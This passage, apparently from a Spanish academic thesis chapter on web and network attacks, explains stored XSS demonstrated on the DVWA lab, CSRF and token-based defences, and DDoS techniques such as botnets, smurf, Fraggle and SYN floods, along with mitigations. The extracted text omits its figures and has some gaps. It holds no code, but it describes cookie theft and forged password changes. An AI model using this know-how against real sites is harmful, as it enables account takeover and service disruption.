En los ataques XSS almacenados o Stored XSS, las secuencias de comandos se almacenan de
forma permanente en los servidores de destino, ya sea en una base de datos, en un foro, campo
de comentarios, etc.
El primer ejemplo de ataque XSS es la típica ventana emergente. A la hora de rellenar unos
campos con información en texto, se pueden introducir trozos de código javascript que
provoquen una molesta ventana emergente para los usuarios que accedan a esta web como se
puede observar en la Figura 47, se introduce en una entrada de texto de la página web victima un
script, y usamos la función alert() que nos muestra una ventana emergente con el texto que le
hallamos indicado. El resultado se aprecia en la Figura 48.
62
Ataques
63
Figura 48: Introducción de un iframe en la página web
Destacar que se han almacenado los dos ataques, es decir, que cuando se acceda a la página
victima aparecería la ventana emergente del primer ejemplo y al cerrarla, nos aparecería también
la ventana con la información de la CNN. Esto es debido a que como ya hemos comentado es un
ataque XSS almacenado.
En este tercer ejemplo, se va realizar un ataque parecido al anterior pero usando el elemento
Windows.location que nos redirige a otra página web pero esta vez de manera externa, es decir
no aparece la página del atacante en nuestra página sino que se abre otra ventana en el
navegador.
64
Ataques
Se ha decidido que se redirija a la página del conocido periódico El Confidencial, y como ocurría
antes se almacena el ataque, de manera que al acceder a la página víctima se ejecutaran los dos
ejemplos anteriores y posteriormente este tercer ataque. De esta manera podríamos ir
almacenando de forma sucesiva distintos ataques.
En este ejemplo, se muestra un ataque un poco diferente en el cual se muestra la facilidad con la
que se puede capturar la cookie. Si un atacante obtiene la cookie puede tener consecuencias
graves ya que se puede conseguir información confidencial a través de este parámetro que
parece inofensivo.
65
Para mostrar este ejemplo de una manera más clara se ha reseteado la base de datos de DVWA
para que no recordara los ataques de los ejemplos anteriores.
Con estos ejemplos se han mostrado algunos de los ataques que sufrimos habitualmente cuando
navegamos en internet y que resultan tan molestos.
66
Ataques
4.3.1 Introducción
Un ataque CSRF es funcionalmente lo contrario que un ataque XSS en el que, como se ha visto, el
hacker inserta código malicioso en un enlace a un sitio Web que parece ser de una fuente
confiable.
En XSS, el usuario final es el objetivo principal del ataque mientras que en CSRF el servidor Web
es el objetivo principal. Los ataques CSRF engañan al navegador de la víctima en la presentación
de una petición a otro sitio donde el usuario está logado, haciendo creer al sitio Web que el
usuario ha iniciado una acción, y la acción se ejecuta como si el usuario la hubiera iniciado.
Este ataque fuerza al navegador web de su víctima, validado en algún servicio (como el correo o
una red social) a enviar una petición a una aplicación web vulnerable. En otras palabras, CSRF
ejecuta alguna acción en un sitio que el usuario nunca tuvo la intención de ejecutar.
- Paso1: En primer lugar, el atacante debe conseguir vulnerar e ingresar código HTML en
un determinado servidor que podemos llamar “A”
- Paso 2: Por otro lado, la víctima establece una conexión legitima con una aplicación web
en otro servidor, que llamaremos “B”
- Paso 4: El navegador de la víctima realiza una petición contra la aplicación del servidor
web “B” sin que el usuario sea consciente
67
Supongamos un usuario que está navegando y tiene abierta una sesión en la página de twitter y a
la vez tiene abiertas otras pestañas en el navegador. En una de estas pestañas, solo cargándola
en el navegador, el usuario podría estar ejecutando sin saberlo código destinado a un ataque
CSRF. La página web de twitter en ese momento tiene la sesión abierta y autenticada con nuestro
navegador por lo que no puede distinguir que peticiones envía legítimamente el usuario por sí
mismo, de otras que le lleguen a través del mismo navegador. Las cookies siempre están incluidas
en las solicitudes del mismo origen, independientemente de cómo se inició esa petición. Por
ejemplo, si estamos conectados a www.twitter.com, en cualquier momento que naveguemos en
la propia página de twitter las cookies se incluirán en la solicitud. No importa dónde se origina la
solicitud, ya sea visitando www.twitter.com directamente o haciendo click en un enlace para ir a
www.twitter.com. Aunque una página simplemente enlace a una imagen alojada en
www.twitter.com, la solicitud de esa imagen incluirá las cookies. No tenemos control sobre este
comportamiento. Si el navegador tiene las cookies asociadas con un sitio, siempre están incluidos
en la solicitud. Supongamos que un hacker crea una página que añade un nuevo tweet a Twitter.
Cada vez que alguien visita este sitio, se envía una solicitud a Twitter para crear un tweet que
dice: "He hackeado su twitter!". Si el hacker de alguna manera nos puede engañar a visitar su
página, el tweet se añadirá a nuestro propio Twitter. [15]
Esto es la clave para entender CSRF: un sitio no autorizado realiza una solicitud en nuestro
nombre utilizando credenciales presentadas automáticamente, en la mayoría de los casos, las
cookies.
Es posible incluso almacenar un ataque CSRF en el propio servidor, a través de una etiqueta
<img> o <iframe> en el código, esto se denomina Stored CSRF Flaws. Este tipo de ataque se han
encontrado principalmente en foros donde cualquier usuario puede postear fácilmente imágenes
y donde su script afectará o tendrá un gran número de víctimas.
Otra variante de un ataque CSRF sería la de Login CSRF. En este caso un atacante podría forzar a
una víctima a logarse con las credenciales del atacante en un servicio sin que la víctima lo
detecte, y por tanto continuará navegando y trabajando de forma normal. A posteriori, el
atacante podrá entrar con sus propias credenciales y ver la actividad, archivos o datos
comprometedores que la víctima haya podido dejar en el servicio.[15]
Los ataques CSRF son más difíciles de combatir que los ataques XSS. En parte, esto se debe a que
los ataques CSRF son menos comunes y no han recibido tanta atención. Otro problema es el
hecho de que si la aplicación web no cuenta con las medidas para contrarrestar CSRF, no tendría
manera de distinguir entre las peticiones legítimas de la víctima y las que a través de un ataque
CSRF se lancen en su nombre en ese mismo momento en el que está autenticado
68
Ataques
token secreto. Por este motivo se va analizar más en detalle este método y se comentarán el
resto de forma más superficial. [16]
Un enfoque para la defensa contra los ataques CSRF es enviar información adicional en cada
solicitud HTTP que puede ser usada para determinar si la petición procedía de una fuente
autorizada. Este código de validación debe ser difícil de adivinar para los atacantes que aún no
tengan acceso a la cuenta del usuario. Si una solicitud no se encuentra un código de validación o
el valor no coincide con el valor esperado, el servidor debe rechazar la solicitud.
La validación de los tokens secretos pueden defendernos contra ataques CSRF de inicio de sesión,
pero los desarrolladores a menudo se olvidan de poner en práctica la defensa, ya que antes del
inicio de sesión, no existe una sesión a la que vincular el token CSRF. Para utilizar tokens secretos
de validación para protegerse contra ataques CSRF de inicio de sesión, el sitio debe crear primero
una presesión, y aplicar la protección CSRF basada en token, y si la autenticación es correcta,
realizar la transición a una sesión real.
Identificador de sesión: el almacén de cookies del navegador está diseñado para evitar
que los dominios no relacionados tengan acceso a las cookies de los demás. Un diseño
común es utilizar el identificador de sesión del usuario como token de validación secreto.
Sesión Independiente: en lugar de utilizar el identificador de sesión de usuario, el
servidor puede generarlo al azar y almacenarlo como una cookie cuando el usuario visita
por primera vez la página. En cada solicitud, el servidor valida que el token coincide con
el valor almacenado en la cookie.
Sesión dependiente: un refinamiento de la técnica anterior es almacenar el estado en el
servidor y que se vincule el valor de token CSRF del usuario con el identificador de sesión
del usuario. Por tanto, en cada solicitud, el servidor valida que el token CSRF
suministrado se asocia con el identificador de sesión del usuario.
Identificador de sesión con HMAC (Hash Message Authentication Code). En lugar de
utilizar el lado servidor para vincular el token CSRF con el identificador de sesión, el sitio
Web puede utilizar la criptografía para unir los dos valores. Siempre que todos los
servidores del sitio Web compartan la clave HMAC, cada servidor puede validar que el
token CSRF está correctamente unido al identificador de sesión. Las propiedades de
HMAC aseguran que un atacante que aprende el token CSRF del usuario no puede
deducir el identificador de sesión asociado. Con los suficientes recursos, un sitio web
puede utilizar la técnica de HMAC para defenderse contra los ataques CSRF.
Se va mostrar el ciclo de vida de la autenticación mediante token con un caso práctico en una
página mundialmente conocida como es twitter.
69
Figura 55: Ciclo de vida de un token
La primera vez que se realiza una solicitud a Twitter, el servidor genera un authenticity_token
único y lo incluye como un campo oculto en el formulario en la respuesta HTML. A continuación,
cuando se redacta un nuevo tweet y se hace click en el botón Tweet, el texto del nuevo tweet y la
authenticity_token se envían a servidores de Twitter. Por último, los servidores de Twitter
comparan el authenticity_token contra el valor esperado. Si coinciden, se crea el nuevo tweet; de
lo contrario, se rechaza la solicitud.
La protección CSRF funciona porque introduce una forma activa de protección (el token CSRF) a
una forma pasiva de protección (la cookie). Por pasiva, se entiende que el navegador siempre
incluirá la cookie de solicitudes, sin tener en cuenta de donde proviene. El token CSRF llena este
hueco, al servir como un marcador que indica si la solicitud está viniendo. Es activa debido a que
el cliente que realiza la solicitud debe agregar manualmente el token a la solicitud. No hay
manera para el navegador de agregar automáticamente el token CSRF a la solicitud, o saber cuál
es el valor del token CSRF.
¿Qué es exactamente el interior del token CSRF y que necesita ser validado? Diferentes
servidores implementan tokens CSRF diferentes. Por ejemplo, para poder mostrarlo de una forma
más clara y detallada se va usar el token CSRF del paquete de CSURF
(https://github.com/expressjs/csurf) que tiene el siguiente aspecto [15]:
- Secret: es un valor secreto del servidor. Hay un valor secreto por cada servidor.
Este puede ser establecido por el usuario en la sesión (lo cual es importante para
la coordinación de los secretos a través de servidores, como se verá más
adelante), de lo contrario se genera aleatoriamente.
70
Ataques
- Salt: es otro valor aleatorio, pero a diferencia del secreto, el usuario no puede
elegir su valor. La salt también tiene un número fijo de caracteres;
Veamos un ejemplo de cómo calcular el token CSRF. Supongamos que el secreto del servidor es
“SECRET” y la salt es 0123456789. El primer paso es aplicar el hash al valor 0123456789SECRET
(el secreto más la salt). Supongamos que el resultado de este hash es ABCDEF. Finalmente, se
añade la salt al valor hash obtenido, resultando 0123456789ABCEDF. Este es el token CSRF. [15]
Al validar el token, el servidor no descifra el token y mira cada parte. En lugar de ello, toma los
primeros 10 caracteres, es decir, el valor de la salt para esta muestra. A continuación, combina el
valor salt con el secreto del servidor para generar otro token (usando la misma ecuación que se
ha usado previamente). Si el token generado nuevamente coincide con la solicitud token CSRF, la
solicitud es válida.
En muchos casos, cuando el navegador emite una solicitud HTTP, incluye una cabecera Referer
que indica qué URL inició la solicitud. La cabecera Referer, si está presente, distingue una
solicitud del mismo sitio de una petición en sitios cruzados porque la cabecera contiene la
dirección URL del sitio que realiza la solicitud. Un sitio puede defenderse contra los ataques CSRF
comprobando si la solicitud fue emitida por el sitio en cuestión.[16]
Por desgracia, la cabecera Referer contiene información sensible que repercute en la privacidad
de los usuarios de Internet. Por ejemplo, la cabecera Referer revela el contenido de la búsqueda
que conduce al usuario a visitar un sitio en particular.
Posteriormente, pueden utilizar la información para optimizar la búsqueda de los usuarios en los
buscadores, y esta divulgación de información, aunque eficiente, lleva a algunos usuarios a sentir
que se ha violado su privacidad.
Si un sitio elige usar el encabezado Referer para defenderse contra los ataques CSRF, los
desarrolladores del sitio deben decidir si implementar la validación Referer permisiva o estricta.
Validación Referer permisiva: los sitios bloquean las solicitudes cuya cabecera Referer
tiene un valor incorrecto. Sin embargo, si una solicitud carece de la cabecera, el sitio
acepta la solicitud.
Aunque este tipo de validación está ampliamente implementado, se elude fácilmente
debido a que un atacante puede hacer que el navegador suprima la cabecera Referer. Por
71
ejemplo, las solicitudes emitidas a partir de datos ftp y URLs no llevan encabezados
Referer.
Validación Referer estricta: A diferencia de la Referer permisiva, el sitio también bloquea
las peticiones que carecen de una cabecera Referer. El bloqueo de peticiones que les
falta la cabecera Referer protege contra ataques que pudieran suprimir dicha cabecera,
pero incurre en un problema de compatibilidad ya que algunos navegadores y
configuraciones de red suprimen la cabecera Referer para solicitudes legítimas.
La cabecera Origen
Los navegadores establecen una cabecera Origen para indicar desde donde se inició una petición
hecha a través del objeto XMLHttpRequest. El concepto de origen es clave para establecer límites
de seguridad. El concepto de origen comprende el esquema, host y puerto de la URI.
La cabecera Origen, por tanto, proporciona información a un sitio web con el fin de permitir
decidir si acepta o no las peticiones de diferentes orígenes.
2. Se envía la cabecera Origen sólo para peticiones POST, mientras que la cabecera Referer
se envía a todas las peticiones.
Para utilizar la cabecera Origen como una defensa CSRF los sitios deben comportarse de la
siguiente manera:
1. Todas las solicitudes modificadoras del estado, incluidas las solicitudes de inicio de sesión,
deben enviarse utilizando el método POST. En particular, las peticiones GET modificadoras
del estado deben ser bloqueadas.
2. Si la cabecera Origen está presente, el servidor debe rechazar cualquier solicitud cuya
cabecera contenga un valor no deseado (incluyendo valor nulo).
72
Ataques
Por lo tanto, los recursos que se esperan que sean recuperados por los objetos XMLHttpRequest
pueden ser protegidos mediante la comprobación de valores de la cabecera de Origen. Por otro
lado, si se prevé recuperar un recurso a través de enlaces o formas (es decir, mediante método
GET o POST), entonces la cabecera origen no estará presente y no se puede confiar en ellos.
Un procedimiento poco conocido son las cabeceras HTTP personalizadas. Se pueden enviar estas
cabeceras utilizarse para prevenir CSRF porque el navegador evita que los sitios envíen cabeceras
HTTP personalizadas a otros sitio, pero permite a los sitios en cuestión enviar cabeceras HTTP
personalizadas a sí mismos utilizando XMLHttpRequest.[16]
Para utilizar cabeceras personalizadas como defensa ante CSRF, un sitio debe emitir todas las
solicitudes modificadores de estado, usando XMLHttpRequest, adjuntar la cabecera
personalizada y rechazar todas las solicitudes modificadoras del estado que no vayan
acompañados por la cabecera. Por ejemplo, para defenderse contra CSRF de inicio de sesión, el
sitio debe enviar las credenciales de autenticación del usuario al servidor a través de
XMLHttpRequest. [16]
Este método esta poco desarrollado a día de hoy y su uso no está muy extendido.
Se puede observar que disponemos de la típica página que nos permite cambiar la contraseña,
introduciendo la nueva contraseña y confirmándola para verificar que no nos hemos equivocado
la primera vez. Al introducir la contraseña que nos parezca conveniente y después confirmarla, se
pulsa sobre el botón change y aparecerá el mensaje de password changed indicando que todo ha
ido bien y se ha modificado nuestra contraseña.
Hasta aquí, todo normal, pero hay que fijarse en la URL que se produce al realizar el cambio de
contraseña, y que se aprecia en la Figura 58. En ella se aprecia perfectamente como la contraseña
73
es “javier” y como es la forma de la URL que se envía al servidor para realizar este proceso de
cambio de contraseña.
Con la URL anterior y con la cookie de sesión (que se puede obtener de diversas formas y que una
de esas formas se puede ver en la Figura 53 tal como ya se había comentado) se puede construir
una sentencia capaz de simular el funcionamiento que realiza esta página, y por tanto cambiar la
contraseña a nuestro antojo de forma automática. Esta sentencia se puede ver en la Figura 59.
74
Ataques
conectividad de la red de la víctima por el alto consumo de ancho de banda que esto conlleva o
por la sobrecarga de los recursos que se requieren.
DDOS (Distibuted Denial Of Service) es la versión distribuida de DOS, y por tanto se pone en
marcha desde múltiples dispositivos conectados que se distribuyen a través de Internet. Al estar
involucrados varias personas y dispositivos en todo el mundo son generalmente más difíciles de
detectar y más efectivos.
La principal diferencia entre un ataque DoS frente a un ataque DDoS, por lo tanto, es que el
servidor de destino de un ataque DDOS será sobrecargado por cientos o incluso miles de
solicitudes provenientes de distintas maquinas mientras en el caso de los primeros será
producido por sólo un atacante o máquina.
4.4.1 Metodología
Al lanzar un ataque DDoS, el atacante normalmente comenzará con la construcción de una red de
bots, que es una red de máquinas infectadas que se van a utilizar para producir el volumen de
tráfico necesario para negar los servicios a los usuarios de los equipos.
Para crear ataques, los atacantes descubren por primera vez hosts o sitios en la red que son
vulnerables. Equipos vulnerables son generalmente los que no disponen de antivirus o tienen un
antivirus que no está actualizado o no está correctamente parcheado. Por tanto los equipos
vulnerables son explotados por los atacantes, que utilizan su vulnerabilidad para obtener acceso
a ellos.
El siguiente paso para el atacante es instalar código malicioso (herramientas de ataque) en los
equipos comprometidos de la red de ataque. Los hosts que ejecutan estas herramientas de
ataque son conocidos como Maestros o controladores y pueden llevar a cabo cualquier ataque
bajo el control del atacante.
Después de eso, los sistemas que han sido infectados por el código malicioso, buscan otros
equipos vulnerables e intentan instalar en ellos el mismo código malicioso. Debido a que la
75
exploración para identificar los sistemas de las víctimas es muy amplia, la construcción de
grandes redes de ataque se consigue de forma muy rápida.
El resultado de este proceso automatizado es la creación de una red de ataque DDoS que consta
de equipos maestros y esclavos. Se puede inferir de este proceso, que se lleva a cabo otro ataque
DDoS mientras que la red de ataque está siendo construida, debido a que el proceso en sí mismo
crea una cantidad significativa de tráfico.
Las víctimas típicas de este tipo de ataques son los servidores de sitios web de comercio
electrónico, sitios web de noticias, redes corporativas, bancos y sitios web gubernamentales.
Por lo tanto, los atacantes podrían seguir las siguientes fases al lanzar ataques DDoS [17]:
4. Propagación: Las máquinas infectadas se utilizan de forma recursiva para infectar otras
máquinas en la red.
76
Ataques
UDP es un protocolo sin conexión. Cuando los paquetes de datos se envían a través de UDP, no
hay ninguna negociación (handshaking) entre el emisor y el receptor, y el sistema de recepción
solo recibe los paquetes y los procesa. Un gran número de paquetes UDP enviados a un sistema
víctima puede saturar la red, agotando el ancho de banda disponible para las solicitudes de
servicio legítimos.
En un ataque DDoS de inundación UDP, los paquetes UDP se envían a puertos específicos o a
cualquiera de los puertos de forma aleatoria del sistema víctima. Por lo general, los ataques de
inundación UDP están diseñados para atacar los puertos de la víctima al azar. Esto provoca que el
sistema de la víctima intente determinar qué aplicación está solicitando datos. Si no se está
ejecutando ninguna aplicación en el sistema victima en el puerto de destino, el sistema victima
enviará un paquete ICMP al sistema atacante indicando que "el puerto de destino es
inalcanzable". Si se entregan suficientes paquetes UDP a los puertos de la víctima, el sistema
dejará de funcionar.
77
4.4.2.2 Ataques de amplificación
En los ataques de amplificación, el atacante o los esclavos explotan la funcionalidad de la
dirección de broadcast que se encuentra en la mayoría de los routers para amplificar y reflejar el
ataque. Esto indica a los routers que gestionen los paquetes dentro de la red que se envíen a
todas las direcciones IP dentro del rango de direcciones de broadcast. De esta manera el tráfico
malicioso que se produce reduce el ancho de banda del sistema de la víctima. En este tipo de
ataque DDoS, el atacante puede enviar el mensaje de difusión directamente, o hacer uso de los
esclavos para enviar dicho mensaje con el fin de aumentar el volumen de tráfico. Si el mensaje de
broadcast se envía directamente, el atacante puede utilizar los sistemas de dentro de la red de
broadcast como esclavos sin necesidad de infiltrarse en ellas ni instalar ningún software. Algunos
ataques de amplificación conocidos son los ataques smurf y Fraggle.
Los nodos intermedios que se utilizan como lanzadores de ataque en ataques de amplificación
son llamados reflectores. Un reflector es cualquier host IP que devuelve un paquete si se le ha
enviado un paquete previamente. Por lo tanto, los servidores web, servidores DNS (Domain
Name System), y los routers son reflectores, ya que devuelven SYN ACK o RST en respuesta al SYN
u otros paquetes TCP.
Un atacante envía paquetes que requieren respuestas por parte de los reflectores. Los paquetes
tienen una dirección falsa, ya que utilizan la dirección de la víctima. Los reflectores mandan
paquetes de respuesta a la víctima de acuerdo a los tipos de paquetes de ataque que se hayan
enviado. Los paquetes reflejados pueden inundar enlace de la víctima si el número de reflectores
es lo suficientemente grande. Hay que recalcar que los reflectores se identifican fácilmente con
las direcciones de origen en los paquetes de inundación recibidas por la víctima. El operador de
un reflector, por otra parte, no se puede localizar fácilmente, ya que el esclavo que está
bombeando el reflector no tiene la dirección de origen del esclavo, sino la dirección de origen de
la víctima.
La arquitectura de los ataques de reflector es muy similar a la utilizada para los ataques directos.
Sin embargo, hay varias diferencias importantes.
- Los reflectores también pueden estar dispersados en Internet, debido a que el atacante
no necesita instalar ningún software de agente
- Los paquetes son reflejados como paquetes normales con direcciones de origen
legítimas, y no se pueden filtrar fijándose en mecanismos basados en rutas.
En los ataques Smurf se envían solicitudes ICMP echo request con la dirección de origen
falsificada, ya que aparecerá la de la víctima, hacia un número de direcciones IP de broadcast. La
mayoría de los hosts en una red IP aceptarán peticiones ICMP echo requests and reply de la
dirección de origen, en este caso, la dirección de la víctima. En una red de broadcast, podría
haber cientos de máquinas para responder a cada paquete ICMP. El uso de una red con el fin de
obtener muchas respuestas a un único paquete se le conoce como ''amplificador ''. En este tipo
de ataque, no solo el objetivo de la falsa dirección de origen (la víctima), sino también los
dispositivos de transmisión intermedios (amplificadores). [18]
78
Ataques
Los ataques Fraggle son similares a los ataques Smurf salvo que utilizan paquetes UDP en lugar de
paquetes ICMP. Los ataques Fraggle generan más tráfico malicioso e incluso pueden crear más
efectos dañinos.
Los ataques TCP SYN se aprovechan de la debilidad inherente de la negociación de tres vías
(three-way handshake) que participan en el establecimiento de la conexión TCP. Un servidor, al
recibir un SYN inicial como petición de un cliente, envía un paquete SYN / ACK y espera a que el
cliente envíe el ACK final. El atacante inicia un ataque por inundación SYN mediante el envío de
un gran número de paquetes SYN y nunca reconoce cualquiera de las respuestas, dejando al
servidor esperando el ACK inexistente. Teniendo en cuenta que el servidor sólo tiene una
capacidad de búfer limitado para nuevas conexiones, la inundación SYN da lugar a que el servidor
no pueda atender a otras conexiones entrantes ya que esta sobrecargado.
En un ataque de dirección IP, el paquete contiene las mismas direcciones IP de origen y destino.
Esto tiene como resultado la confusión del sistema operativo del sistema víctima y el desplome
del propio sistema.
En un ataque de opciones de paquetes IP, un paquete con formato incorrecto puede cambiar
aleatoriamente los campos opcionales dentro de un paquete IP y establecer los bits de servicio a
uno. Esto tendría como resultado un incremento de tiempo al realizarse un procesamiento
adicional por parte de la víctima con el fin de analizar el tráfico. Si este ataque se combina con el
uso de múltiples agentes, podría conducir a la caída del sistema víctima. [18]
- La segunda es tener un servicio del proveedor de servicios de internet (ISP) para que nos
proporcione un servicio conocido como tubo limpio o clean pipe de tal manera que va
protegernos contra ataques volumétricos.
Actualmente no hay una solución definitiva para combatir los ataques de denegación de servicio.
Se van a detallar diferentes aproximaciones que se han ido llevando a cabo para intentar prevenir
y mitigar este tipo de ataque.
Al igual que con el manejo de otras amenazas en la seguridad informática, hay dos estilos básicos
para la protección del objetivo de un ataque DDoS: Podemos tratar de prevenir los ataques para
que no sucedan en absoluto, o podemos tratar de detectarlos y reaccionar eficazmente cuando
se produzcan.
Hay dos maneras de prevenir los ataques DDoS: (1) Podemos evitar que los atacantes lancen un
ataque, y (2) que podemos mejorar la capacidad de nuestro sistema, la resistencia y la capacidad
de adaptarse a una mayor carga de datos de modo que un ataque en curso no logre evitar que
nuestra sistema continúe ofreciendo el servicio a sus clientes legítimos.
Eficacia: Se debe realizar una prevención eficaz que realmente imposibiliten al máximo
un ataque DoS y haciendo que los efectos del DOS se desvanezcan. En el caso de los
mecanismos reactivos, la respuesta debe ser lo suficientemente rápida para asegurar que
el objetivo no sufre seriamente debido al ataque.
Integridad: Una buena defensa DDoS debe manejar todos los ataques posibles. Si ese
grado de perfección es imposible, por lo menos debería manejar una gran cantidad de
ellos. Un mecanismo que es capaz de manejar un ataque basado en inundación TCP SYN,
pero no puede ofrecer ninguna ayuda si llega una inundación de ping, es claramente
menos valioso que una defensa que puede manejar ambos estilos de ataque.
80
Ataques
Mientras que la integridad es un objetivo obvio, es extremadamente difícil de lograr, ya que los
atacantes son propensos a desarrollar nuevos tipos de ataques específicamente diseñados para
eludir las defensas existentes.
Parte del tráfico legítimo puede estar fluyendo de los sitios que también están enviando
tráfico de ataque y también es posible que haya tráfico legítimo que ni viene de una
máquina atacante ni se entrega a la red atacada, pero tal vez comparte una parte de su
camino a través de Internet con algunos de los paquetes que se emplean en los ataques.
Por otro lado, parte del tráfico legítimo puede compartir características con el tráfico de
ataque, como el protocolo de aplicación o puerto de destino, lo que podría hacer difícil
distinguir entre ellos. Los atacantes a menudo se esfuerzan por ocultar su tráfico de
ataque en el flujo de tráfico legítimo, es común que el tráfico legítimo se parezca mucho
a los paquetes de ataque, por lo que el problema de los daños colaterales es real y grave.
Las bajas tasas de falsos positivos: Los buenos mecanismos de defensa DDoS deberían
dirigirse únicamente a verdaderos ataques DDoS. Los mecanismos de prevención no
deben tener el efecto de hacer daño a otro tipo de tráfico de la red. Los mecanismos
reactivos deben activarse sólo cuando un ataque DDoS está realmente en marcha. Los
falsos positivos pueden causar en muchos casos daños colaterales.
La localización que parecería más obvia para un sistema de defensa DDoS, se encuentra cerca del
objetivo. Las defensas podrían estar situadas en la propia máquina del objetivo, o en un router,
firewall, gateway, proxy u otra máquina que este muy cerca de él. El estar cerca del objetivo es
una buena posición para saber cuándo un ataque está en curso. No obstante, una desventaja
81
importante es que un ataque DDoS, por definición, satura al objetivo con su volumen de tráfico,
por lo que estaríamos en peligro de ser sobrecargados de manera similar.
Otra posible opción es que las medidas se ubiquen cerca del atacante. Una ventaja es que el
volumen de tráfico es mucho menor, lo que permite una mayor capacidad de procesamiento que
se dedica a la detección y caracterización de los paquetes para así diferenciar los que provienen
del atacante y los que no. Por lo general, un host que origina ataque DDoS sufre efectos como
consecuencia de haber lanzado el ataque, y se pueden causar problemas en su propia red. Un
sistema de defensa DDoS situada cerca de una fuente podría tener problemas para determinar si
está sucediendo un ataque.
La mayor parte del tráfico de Internet pasa por un número relativamente pequeño de los
sistemas centrales autónomos (AS), cada uno de los cuales despliega un gran número de routers
para llevar este tráfico. Por lo tanto, cualquier defensa situada en un número razonablemente
grande de AS bien elegidos puede obtener una excelente cobertura. Si la defensa en nodos
centrales fuera eficaz, precisa, barata y fácil de implementar, se podrían resolver completamente
el problema de los ataques DDoS.
Si no se puede controlar desde la fuente, desde la víctima o desde un punto intermedio ¿Qué es
lo que queda? Una solución que se implementa en más de un lugar, o múltiples soluciones que
cooperan en diferentes lugares. Por lo tanto, una solución distribuida. [20]
Con un buen diseño, una defensa distribuida podría aprovechar los puntos fuertes de cada lugar
de defensa y minimizar sus debilidades. Por ejemplo, en puntos cerca del objetivo se tiene una
buena posición para reconocer ataques. En lugares cerca de los atacantes se está bien
posicionado para diferenciar entre paquetes buenos y malos. Ubicaciones en el centro de la red
pueden lograr una cobertura defensiva alta con relativamente pocos puntos de implementación.
Un enfoque para resolver el problema de DDoS es la formación de una red defensiva que abarca
estos lugares.
82
Ataques
de seguridad de los sistemas distribuidos (tales como el manejo de la mala conducta de algunos
componentes supuestamente legítimos).
Otros enfoques se centran en la protección duradera del ataque sin crear el efecto de DoS. Estos
enfoques de resistencia aumentan y redistribuyen los recursos de la víctima, lo que le permite
servir las peticiones tanto legítimas como maliciosas durante el ataque, anulando así el efecto de
denegación de servicio. El aumento se consigue de forma estática mediante la compra de más
recursos o dinámicamente, mediante la adquisición de recursos ante la señal de un posible
ataque y replicar el servicio de destino. En los siguientes apartados se indican los distintos
mecanismos de protección.
Un Buen diseño de la red es fundamental como se puede comprobar en los siguientes puntos:
Sanear la red: la mejor manera de mejorar la seguridad es mantener la red simple, bien
organizada y bien mantenida.
Fijación de Vulnerabilidades del Host: Los ataques DDOS tienen como objetivo un error
de software, error de protocolo o el diseño de aplicaciones para denegar el servicio. Aun
cuando todos los parches de software se aplican tan pronto como están disponibles, es
imposible garantizar la ausencia de errores en el software. Para proteger las aplicaciones
críticas de denegación de servicio, pueden ser duplicadas en varios servidores, cada uno
con un sistema operativo diferente y / o versión de la aplicación. Sin embargo esto
aumenta en gran medida los requisitos administrativos.
Fijación de organización de la red: una buena organización de las redes impiden los
cuellos de botella o puntos calientes que pueden convertirse en un blanco fácil para un
ataque DDoS. Una buena manera de organizar una red es difundir las aplicaciones críticas
en varios servidores, ubicados en diferentes subredes. Una vez hecho esto, el atacante
tendría que sobrecargar a todos los servidores para lograr denegación de servicio.
Proporcionar redundancia de rutas entre puntos de la red crea una topología robusta que
no se puede desconectar fácilmente. La organización de la red debe ser lo más simple
posible para facilitar la comprensión y el fácil manejo de la misma.
Una buena organización de red no sólo repele muchos intentos de ataque, también
aumenta la robustez y minimiza el daño cuando se producen ataques. Dado que los
83
servicios críticos se replican en toda la red, las máquinas afectadas por el ataque pueden
ser puestas en cuarentena y se sustituyen por las sanas sin pérdida de servicio.
Validación fuente
La validación del origen se aproxima a verificar la identidad del usuario antes de conceder su
solicitud de servicio.
En algunos casos, estos enfoques están destinados sólo para combatir la falsificación de la IP.
Enfoques de validación más ambiciosos buscan asegurar que un usuario humano (en lugar de
software de agente DDoS) está en el otro extremo de una conexión de red, por lo general
mediante la realización de los llamados captcha. El más común, una imagen ligeramente borrosa
o distorsionada que pide al usuario que escriba los símbolos representados. Pero no resuelven el
problema. Las transferencias de correo electrónico entre servidores de correo, la sincronización
de protocolos, actualizaciones del protocolo de enrutamiento y las búsquedas de DNS son
algunos ejemplos de las interacciones de ordenador a ordenador que no podrían ser protegidos
por medio del captcha. [20]
Para lograr una mayor seguridad, algunos sistemas requieren que el usuario presente un
certificado, emitido por alguna autoridad de confianza, que le otorga acceso al servicio,
preferiblemente durante un tiempo limitado. La verificación del certificado es una actividad
criptográfica, que consume una gran cantidad de los recursos del servidor y abre la posibilidad de
otro tipo de ataque DDoS.
Prueba de trabajo
Algunos protocolos son asimétricos, es decir, que consumen más recursos en el lado del servidor
que en el lado del cliente. Estos protocolos pueden ser utilizados por los atacantes para la
denegación del servicio. El atacante genera muchas solicitudes de servicio y amarra los recursos
del servidor. Si el protocolo funciona tal que los recursos son liberados después de un cierto
tiempo, el atacante se limita a repetir el ataque para mantener los recursos del servidor
constantemente ocupados.
Un enfoque para protegerse contra los ataques a este tipo de protocolos asimétricos es rediseñar
los protocolos para retrasar la obtención de los recursos del servidor. El protocolo se equilibra
mediante la introducción de un nuevo paso asimétrico, esta vez en favor del servidor, antes de
comprometer recursos del propio servidor.
84
Ataques
El paso asimétrico debe asegurarse de que el cliente ha gastado recursos suficientes para la
comunicación antes de que el servidor gaste sus propios recursos. Un enfoque comúnmente
utilizado es el envío al cliente de algunos puzles para resolverlos. La solución de los puzles es tal
que se necesita una buena cantidad de tiempo y recursos, mientras que la verificación de la
exactitud de la respuesta es rápida y barata. Tales puzles se denominan funciones de un solo
sentido o funciones trampa.
El uso de técnicas de prueba de trabajo aseguran que el cliente tiene que gastar muchos más
recursos que el servidor antes de que se le conceda su petición. La cantidad de trabajo requerido
no debe ser extremadamente fuerte para los clientes legítimos, pero debe ser suficiente para
frenar a los atacantes DDoS, por lo que es difícil o incluso imposible que envíen suficientes
mensajes al objetivo para provocar un efecto DDoS.
Además, las técnicas de prueba de trabajo hacen que los ataques con direcciones de origen falsas
sean menos eficaces desde redes de ataque pequeñas o tamaño medio). Los ataques DDoS son
técnicamente posibles si el atacante utiliza redes de ataque mucho más grandes. Hay dos formas
posibles de utilizar paquetes simulados para llevar a cabo un ataque contra un sistema que usa
prueba de trabajo. Una forma es que los agentes generan una gran cantidad de solicitudes, para
que el servidor envíe puzles a muchas direcciones falsas, agotando así sus recursos. Dado que la
generación de puzle consume muy pocos recursos, el atacante tendría que acumular muchos
agentes para hacer que este ataque sea efectivo. La otra forma es que los agentes generan una
